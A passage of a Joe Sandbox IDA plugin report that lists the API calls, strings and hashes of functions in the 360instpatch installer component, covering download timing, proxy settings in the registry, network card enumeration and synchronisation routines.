Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcslen$CountH_prolog3Tick
String ID: [%d.%3d] CheckTimeout StartP2PDownloads$[%d.] BackupZone enable all task.$[%d.] DUQuota stop$[%d.] Downlaod OnTimeout Failed:%d $[%d.] HttpMgr ReBoot $[%d.] P2P Delay End:%d $[%d.] SetP2pSpeedLimitState;%d.$[%d.] [Resource] StartResourceConnect.$[%d.] slow speed :%d close NonUrgentMode .
API String ID: 899965582-346055655
Opcode ID: 6d2a9c8823671dbf16ecb2bf554ee4873c3b96f16f645b19619adca9143d9f5e
Instruction ID: 6c3ab65de6f5cd1cf5ef102c9dc44d47db5cf6bc806e0b988ca4261efdb427be
Opcode Fuzzy Hash: 6d2a9c8823671dbf16ecb2bf554ee4873c3b96f16f645b19619adca9143d9f5e
Instruction Fuzzy Hash: 86128172900B02CFD725DFB4C8A1AAAB7F2AF45309F104D6DD496876B2DF39A845DB01

Function 6BF37104 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 281networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF37128
GetTickCount.KERNEL32 ref: 6BF37188
htons.WS2_32(00000340), ref: 6BF371BF
htons.WS2_32(00000301), ref: 6BF371D0
GetTickCount.KERNEL32 ref: 6BF37242
GetTickCount.KERNEL32 ref: 6BF372B2
GetTickCount.KERNEL32 ref: 6BF37354
inet_addr.WS2_32(180.153.227.168), ref: 6BF373A4
htonl.WS2_32(00000000), ref: 6BF373AB
GetTickCount.KERNEL32 ref: 6BF373EC
inet_addr.WS2_32(180.153.227.168), ref: 6BF3745B
htonl.WS2_32(00000000), ref: 6BF37462

Strings

180.153.227.168, xrefs: 6BF3739F, 6BF37456
[Tracker] , xrefs: 6BF37147, 6BF37257

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$htonlhtonsinet_addr
String ID: 180.153.227.168$[Tracker]
API String ID: 3427813670-2722976985
Opcode ID: 094554e865b726a53133bc6d5f7ae60a2f0d9a80bd9230c06dce2580b45e13d5
Instruction ID: 4e59d35e27a602c0cff66d0325d3b6943d3e1e077777604b5419f40849037f6a
Opcode Fuzzy Hash: 094554e865b726a53133bc6d5f7ae60a2f0d9a80bd9230c06dce2580b45e13d5
Instruction Fuzzy Hash: C4B18D7350021AEFCB44DFB4D881DAEBBB5FF05354B108469E81696270EB38EA54CBE1

Function 6BF26DCB Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 110registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,000F003F,6BFCC288,00000000,6BF8AC78,74DF30D0,?,6BFCC3F0,6BFCC288), ref: 6BF26DF2
RegCreateKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,6BFCC288,?,?,6BFCC3F0,6BFCC288), ref: 6BF26E17
RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\LiveUpdate360,00000000,000F003F,6BFCC288,?,6BFCC3F0,6BFCC288), ref: 6BF26E2D
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,6BFCC288,?,?,6BFCC3F0,6BFCC288), ref: 6BF26E4A
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\LiveUpdate360,00000000,00020019,6BFCC3F0), ref: 6BF26E71
RegCloseKey.ADVAPI32(6BFCC3F0), ref: 6BF26EF4

Strings

customproxytype, xrefs: 6BF26EAB
proxytype, xrefs: 6BF26E9B
SOFTWARE\LiveUpdate360, xrefs: 6BF26DE1, 6BF26DE6, 6BF26E11, 6BF26E27, 6BF26E44, 6BF26E68
ieproxy, xrefs: 6BF26EBB
Intranet, xrefs: 6BF26E7B
Neverup, xrefs: 6BF26E8B
customhttp, xrefs: 6BF26ECB
customsocks, xrefs: 6BF26EDE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Open$Create$Close
String ID: Intranet$Neverup$SOFTWARE\LiveUpdate360$customhttp$customproxytype$customsocks$ieproxy$proxytype
API String ID: 744170003-1635914898
Opcode ID: fe9d163e86ad4eeb27d8f1cf8aac6b128c04d5615066190961435fb85caaec75
Instruction ID: b73b7f0abc10b03699e877a4c34d5aeb474694ab00adc627e51a71bdb57f17ac
Opcode Fuzzy Hash: fe9d163e86ad4eeb27d8f1cf8aac6b128c04d5615066190961435fb85caaec75
Instruction Fuzzy Hash: 7C31A27790010CFBEB119BE5DD85EDFBF7DEB15288F5000A5BA04B1021E7368E54EA60

Function 6BF0E53F Relevance: 24.2, APIs: 16, Instructions: 180timesynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6BF0E546
__CxxThrowException@8.LIBCMT ref: 6BF0E56A
CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 6BF0E5F1
GetLastError.KERNEL32 ref: 6BF0E600
SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 6BF0E628
GetLastError.KERNEL32 ref: 6BF0E632
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 6BF0E64B
GetLastError.KERNEL32 ref: 6BF0E658
CreateSemaphoreW.KERNEL32(00000000,?,?,00000000), ref: 6BF0E67C
GetLastError.KERNEL32 ref: 6BF0E685

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$Create$TimerWaitable$Exception@8H_prolog3_catchMutexSemaphoreThrow
String ID:
API String ID: 1927663649-0
Opcode ID: ff9e4d788a12e83dcd3632b01de976eee829eb8e0b26332bc61764107fa02255
Instruction ID: 6db4f99f9fe1c86425821fc8a83857c9d6468ac5ed1f2822fbc426244e5ffaca
Opcode Fuzzy Hash: ff9e4d788a12e83dcd3632b01de976eee829eb8e0b26332bc61764107fa02255
Instruction Fuzzy Hash: 05611EB2D20708DFDB64DF69D894AAEBBF8FB08300B10586EE506D7660E774D9448F61

Function 6BEE888B Relevance: 24.2, APIs: 16, Instructions: 166timesynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6BEE8892
__CxxThrowException@8.LIBCMT ref: 6BEE88B6
CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 6BEE8918
GetLastError.KERNEL32 ref: 6BEE8927
SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 6BEE894F
GetLastError.KERNEL32 ref: 6BEE8959
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 6BEE8972
GetLastError.KERNEL32 ref: 6BEE897F
CreateSemaphoreW.KERNEL32(00000000,?,?,00000000), ref: 6BEE89A3
GetLastError.KERNEL32 ref: 6BEE89AC
CreateSemaphoreW.KERNEL32(00000000,00000000,?,00000000), ref: 6BEE89C8
GetLastError.KERNEL32 ref: 6BEE89D1
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000), ref: 6BEE89F3
GetLastError.KERNEL32 ref: 6BEE89FC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$Create$SemaphoreTimerWaitable$EventException@8H_prolog3_catchMutexThrow
String ID:
API String ID: 2170963793-0
Opcode ID: 15f812b2dae9a83ab4e4f0ae0571bc36f5a4099c3560ce3d86cb3f3edc7d99bf
Instruction ID: 6f88f3f1356e219e7286d44de6db01e924f3a2e5a6efbdad5a5419e51d2425c9
Opcode Fuzzy Hash: 15f812b2dae9a83ab4e4f0ae0571bc36f5a4099c3560ce3d86cb3f3edc7d99bf
Instruction Fuzzy Hash: 0E515EB1910308DFDB64DFA8D884A9EBBF8FB08304F50446EE906E3650E375A9458F71

Function 00B7EA27 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 400COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B7EA49

Part of subcall function 00B787F5: _memset.LIBCMT ref: 00B78838
Part of subcall function 00B787F5: __wsplitpath.LIBCMT ref: 00B78845
Part of subcall function 00B787F5: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B78874

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B7EA8E

Part of subcall function 00B82080: InitializeCriticalSection.KERNEL32(?,?,00000000,?,?,00B7EAA4,?,?,00100000,00000000,0000008C), ref: 00B820EE

_memset.LIBCMT ref: 00B7EC0A
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000026,00000001,00100000,00000000,0000008C), ref: 00B7EC1F
PathAppendW.SHLWAPI(?,360\360Safe), ref: 00B7EC2D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B7EC63
GetTickCount.KERNEL32 ref: 00B7ED12

Part of subcall function 00B1DFB0: __CxxThrowException@8.LIBCMT ref: 00B1DFC2

_memset.LIBCMT ref: 00B7ED82
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000026,00000001), ref: 00B7ED94
PathAppendW.SHLWAPI(00000000,360Safe), ref: 00B7ED9F

Part of subcall function 00B3F087: std::_String_base::_Xlen.LIBCPMT ref: 00B3F09C

Part of subcall function 00B2A8EB: _wcsnlen.LIBCMT ref: 00B2A91D

Part of subcall function 00B7E951: __EH_prolog3.LIBCMT ref: 00B7E958

Part of subcall function 00B7E334: __EH_prolog3.LIBCMT ref: 00B7E33B

Strings

360\360Safe, xrefs: 00B7EC21
:\360Safe, xrefs: 00B7EE1B
360Safe, xrefs: 00B7ED96

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Path$H_prolog3_memset$AppendFolderSpecialUnothrow_t@std@@@__ehfuncinfo$??2@$CountCriticalDiskException@8FreeInitializeSectionSpaceString_base::_ThrowTickXlen__wsplitpath_wcsnlenstd::_
String ID: 360Safe$360\360Safe$:\360Safe
API String ID: 1315137449-2735685471
Opcode ID: 8e9a4c2130e6ed0b1183c1a4f032d98bf4eeddfded37a853fe56b2a805ee60ea
Instruction ID: f19ad740db62ceecc89ebd16fe8ff9008d6a3c1b1bb24661df6b4c8c31d5d31f
Opcode Fuzzy Hash: 8e9a4c2130e6ed0b1183c1a4f032d98bf4eeddfded37a853fe56b2a805ee60ea
Instruction Fuzzy Hash: F8E15F71D00229DBCF15EBA4CC96AEEB7F5EF08310F1444A9F429A7291DB309A45CBA5

Function 6CD9A86A Relevance: 23.0, APIs: 1, Strings: 12, Instructions: 246COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CD9A871

Part of subcall function 6CD2C2CF: lstrlenW.KERNEL32(00000010,THEME.UI,?,00000000,6CD40BA5,?,00000008,6CD4DEF0,?,00000010,?), ref: 6CD2C2F9

Part of subcall function 6CDAA9FC: __EH_prolog3.LIBCMT ref: 6CDAAA03

Part of subcall function 6CDAA916: __EH_prolog3.LIBCMT ref: 6CDAA91D

Strings

tab_id, xrefs: 6CD9A8EB
margin, xrefs: 6CD9AA5E
tip, xrefs: 6CD9AAAC
style, xrefs: 6CD9A950
0,0,0,0, xrefs: 6CD9AA28
shortcut, xrefs: 6CD9AB26
anchor, xrefs: 6CD9AAEA
%d,%d,%d,%d, xrefs: 6CD9A9DA
zl, xrefs: 6CD9A881
control_style, xrefs: 6CD9A99D
bound, xrefs: 6CD9AA10
0x%x, xrefs: 6CD9A910, 6CD9A918, 6CD9A96C

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: H_prolog3$lstrlen
String ID: %d,%d,%d,%d$0,0,0,0$0x%x$anchor$bound$control_style$margin$shortcut$style$tab_id$tip$zl
API String ID: 1485999228-1181160698
Opcode ID: 72fa7020ed6a41ec7dfc0dba70d49e3c44a3f0c6c3ff1c4e6102c78218f3abce
Instruction ID: b30211d0d2ccb6dd37b27bc40fc537d0b8386d4e8b6f8149236e08a3961419c2
Opcode Fuzzy Hash: 72fa7020ed6a41ec7dfc0dba70d49e3c44a3f0c6c3ff1c4e6102c78218f3abce
Instruction Fuzzy Hash: D49184B1E14248BBDF05EBD9C801AEEBFB9AF99218F10454DF10573790CB395A0487B6

Function 6BF0D16D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 213registryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6BF0D174
GetTickCount.KERNEL32 ref: 6BF0D188

Part of subcall function 6BEE8514: char_traits.LIBCPMT ref: 6BEE8539

GetTickCount.KERNEL32 ref: 6BF0D391
RegQueryValueExW.KERNEL32(00000000,manual_v3,00000000,?), ref: 6BF0D3D0
RegCloseKey.ADVAPI32(?), ref: 6BF0D3E4
RegQueryValueExW.KERNEL32(00000000,PeerNumPerS,00000000,?,00000000,?), ref: 6BF0D413
RegCloseKey.ADVAPI32(00000000), ref: 6BF0D42C

Strings

[%d.] FileName = %s, xrefs: 6BF0D1C5
PeerNumPerS, xrefs: 6BF0D407
[%d.] File = %s , xrefs: 6BF0D204
manual_v3, xrefs: 6BF0D3BD
[%d.] Task Start, xrefs: 6BF0D379

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseCountQueryTickValue$H_prolog3_char_traits
String ID: PeerNumPerS$[%d.] File = %s $[%d.] FileName = %s$[%d.] Task Start$manual_v3
API String ID: 3290833672-1291513648
Opcode ID: e026fd41c106cb45f75b6855170665237406e2282b949985adf63802f1065906
Instruction ID: f0c06480669b451c898fc155e156d8e0db242c9e23cf5c102986911519861c3a
Opcode Fuzzy Hash: e026fd41c106cb45f75b6855170665237406e2282b949985adf63802f1065906
Instruction Fuzzy Hash: 5581AC77940B06EFDB24CFA4C8A0AAAB7F6BF45304F00456DE86692270DB39E544DB61

Function 00B929E0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 165registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B92A1F
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards,00000000,00000008,?,?,?,?), ref: 00B92A3A
RegEnumKeyExA.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,00BFCDA4,?,?,?,?), ref: 00B92A6C
RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,?,?,?,?), ref: 00B92A96
RegQueryValueExA.KERNEL32 ref: 00B92ACE
_memset.LIBCMT ref: 00B92AE7

Part of subcall function 00B928D0: CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000104,00000000), ref: 00B9291E

lstrcmpA.KERNEL32(?,00000000), ref: 00B92B18
RegCloseKey.ADVAPI32(?), ref: 00B92B63
RegEnumKeyExA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00B92B89
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00B92BA0

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards, xrefs: 00B92A30
ServiceName, xrefs: 00B92ABC

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseEnumOpen_memset$CreateFileQueryValuelstrcmp
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards$ServiceName
API String ID: 2630661138-1795789498
Opcode ID: 5a46f6c64a90942eec82c50cae945434925e35356a7b9226fce10a1feee371ad
Instruction ID: fcb99b5dd91a941f7e6df81e16f081f8e0cc1b3ca888720d98699d3ac8aa9c96
Opcode Fuzzy Hash: 5a46f6c64a90942eec82c50cae945434925e35356a7b9226fce10a1feee371ad
Instruction Fuzzy Hash: 33517E71604341AFEB24CF64CC85FABB7E8EB88704F04496DB59997190EB70E909C7A2

Function 00B842DE Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 139fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B842FD
GetDriveTypeW.KERNEL32(?,0000000C), ref: 00B84327
_memset.LIBCMT ref: 00B8438A
QueryDosDeviceW.KERNEL32(?,00000000,00000400,00000400,?,?,\\.\), ref: 00B843BA
_wcslen.LIBCMT ref: 00B843D6
__wcsnicmp.LIBCMT ref: 00B843E1
CreateFileW.KERNEL32(?,00020000,00000001,00000000,00000003,00000080,00000000,000000FF,?,?,\\.\), ref: 00B84418
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,?,00000000), ref: 00B84461
CloseHandle.KERNEL32(00000000,?,?,\\.\), ref: 00B8446C
CloseHandle.KERNEL32(00000000,?,?,\\.\), ref: 00B84489

Strings

\Device\Harddisk, xrefs: 00B843D0, 00B843D5, 00B843DC
\\.\, xrefs: 00B84359

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseDeviceHandle$ControlCreateDriveFileH_prolog3QueryType__wcsnicmp_memset_wcslen
String ID: \Device\Harddisk$\\.\
API String ID: 3469461504-3168084310
Opcode ID: 14d23a7ea76df9b218ed0b1dc2ae21a37644d781eec4a12b845595f0eb3fb517
Instruction ID: 37dbc2607bf7fa6441615fe2093ab567b0c5f3b27a7eb9224c9e41fde1f00e58
Opcode Fuzzy Hash: 14d23a7ea76df9b218ed0b1dc2ae21a37644d781eec4a12b845595f0eb3fb517
Instruction Fuzzy Hash: 1C41BDB1500119ABCB10EFA4DC81FFEB7E8EF08710F540579FA25A7290DB309A09CB65

Function 6CD26EE0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 114memorysynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(A6233702,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26F26

Part of subcall function 6CD26C60: _vswprintf_s.LIBCMT ref: 6CD26C8A

CreateMutexW.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26F5B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26F6E
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26F7E
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26F9C
HeapAlloc.KERNEL32(00000000,00000000,000005C0,?,?,?,?,?,?,?,?,6CE04B2B,000000FF), ref: 6CD26FAD
__CxxThrowException@8.LIBCMT ref: 6CD26FE7
__CxxThrowException@8.LIBCMT ref: 6CD27011
ReleaseMutex.KERNEL32(00000000), ref: 6CD27029
CloseHandle.KERNEL32(00000000), ref: 6CD27034

Strings

%s %u, xrefs: 6CD26F32
1830B7BD-F7A3-4c4d-989B-C004DE465EDE, xrefs: 6CD26F2D

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: Exception@8HeapMutexProcessThrow$AllocCloseCreateCurrentErrorHandleLastObjectReleaseSingleWait_vswprintf_s
String ID: %s %u$1830B7BD-F7A3-4c4d-989B-C004DE465EDE
API String ID: 3526415198-332789905
Opcode ID: 43c437284523dce8248f7ce3c17b0be449cc7a6453642472cd41c92760a1a515
Instruction ID: b433c16dd4a4ce12222ba4aa6255b2ebf57bd6cc008c004ccc60db7230a1b4ac
Opcode Fuzzy Hash: 43c437284523dce8248f7ce3c17b0be449cc7a6453642472cd41c92760a1a515
Instruction Fuzzy Hash: 7341E672A05248EFCF209FA4CD84B9E77B4FB05318F51462DF915E3680EB3959498BA1

Function 6BF11DB5 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 78threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF11DBC
GetCurrentThreadId.KERNEL32 ref: 6BF11DC6

